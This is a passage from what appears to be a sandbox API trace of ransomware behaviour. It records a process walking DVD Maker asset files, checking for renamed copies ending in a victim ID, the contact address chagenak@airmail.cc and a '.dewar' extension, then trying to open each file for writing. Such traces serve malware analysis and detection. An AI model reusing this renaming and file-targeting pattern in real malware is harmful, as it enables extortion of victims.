dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.713] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=12008) returned 1 [0253.713] CloseHandle (hObject=0x1e0) returned 1 [0253.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png")) returned 0x20 [0253.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png")) returned 0x20 [0253.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0253.714] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.714] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.722] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=237226) returned 1 [0253.722] CloseHandle (hObject=0x1e0) returned 1 [0253.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv")) returned 0x20 [0253.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv")) returned 0x20 [0253.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0253.723] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.724] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.885] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=253220) returned 1 [0253.885] CloseHandle (hObject=0x1e0) returned 1 [0253.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv")) returned 0x20 [0253.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv")) returned 0x20 [0253.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0253.886] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.886] SetEvent (hEvent=0x118) returned 1 [0253.888] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-backglow.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.888] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=6166) returned 1 [0253.888] CloseHandle (hObject=0x1e0) returned 1 [0253.889] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-backglow.png")) returned 0x20 [0253.889] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-backglow.png")) returned 0x20 [0253.889] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-backglow.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0253.889] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-backglow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.890] SetEvent (hEvent=0x118) returned 1 [0253.891] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.892] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=7946) returned 1 [0253.892] CloseHandle (hObject=0x1e0) returned 1 [0253.892] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png")) returned 0x20 [0253.892] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png")) returned 0x20 [0253.892] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0253.893] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.893] SetEvent (hEvent=0x118) returned 1 [0253.895] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0254.088] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=4422) returned 1 [0254.088] CloseHandle (hObject=0xe0) returned 1 [0254.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png")) returned 0x20 [0254.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png")) returned 0x20 [0254.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0254.089] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.089] SetEvent (hEvent=0x118) returned 1 [0254.091] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0254.098] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=4570) returned 1 [0254.098] CloseHandle (hObject=0xe0) returned 1 [0254.098] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047x576black.png")) returned 0x20 [0254.099] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047x576black.png")) returned 0x20 [0254.099] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047x576black.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0254.099] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.100] SetEvent (hEvent=0x118) returned 1 [0254.102] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0254.102] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=4570) returned 1 [0254.103] CloseHandle (hObject=0xe0) returned 1 [0254.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png")) returned 0x20 [0254.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png")) returned 0x20 [0254.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0254.109] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.109] SetEvent (hEvent=0x118) returned 1 [0254.111] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0254.111] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=5088) returned 1 [0254.112] CloseHandle (hObject=0xe0) returned 1 [0254.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_buttongraphic.png")) returned 0x20 [0254.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_buttongraphic.png")) returned 0x20 [0254.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0254.112] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.113] SetEvent (hEvent=0x118) returned 1 [0254.115] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0254.115] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3130) returned 1 [0254.115] CloseHandle (hObject=0xe0) returned 1 [0254.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_selectionsubpicture.png")) returned 0x20 [0254.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_selectionsubpicture.png")) returned 0x20 [0254.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0254.116] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.116] SetEvent (hEvent=0x118) returned 1 [0254.119] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0254.120] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=5025) returned 1 [0254.120] CloseHandle (hObject=0xe0) returned 1 [0254.120] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_buttongraphic.png")) returned 0x20 [0254.120] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_buttongraphic.png")) returned 0x20 [0254.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0254.121] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.121] SetEvent (hEvent=0x118) returned 1 [0254.123] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0254.124] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3118) returned 1 [0254.124] CloseHandle (hObject=0xe0) returned 1 [0254.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_selectionsubpicture.png")) returned 0x20 [0254.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_selectionsubpicture.png")) returned 0x20 [0254.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0254.124] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.125] SetEvent (hEvent=0x118) returned 1 [0254.871] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0254.871] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=4955) returned 1 [0254.871] CloseHandle (hObject=0x1e0) returned 1 [0254.872] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_buttongraphic.png")) returned 0x20 [0254.872] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_buttongraphic.png")) returned 0x20 [0254.872] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0254.872] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.873] SetEvent (hEvent=0x118) returned 1 [0254.875] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0254.875] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=5025) returned 1 [0254.875] CloseHandle (hObject=0x1e0) returned 1 [0254.876] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png")) returned 0x20 [0254.876] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png")) returned 0x20 [0254.876] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0254.876] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.877] SetEvent (hEvent=0x118) returned 1 [0254.879] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0254.880] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3118) returned 1 [0254.880] CloseHandle (hObject=0x1e0) returned 1 [0254.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png")) returned 0x20 [0254.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png")) returned 0x20 [0254.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD 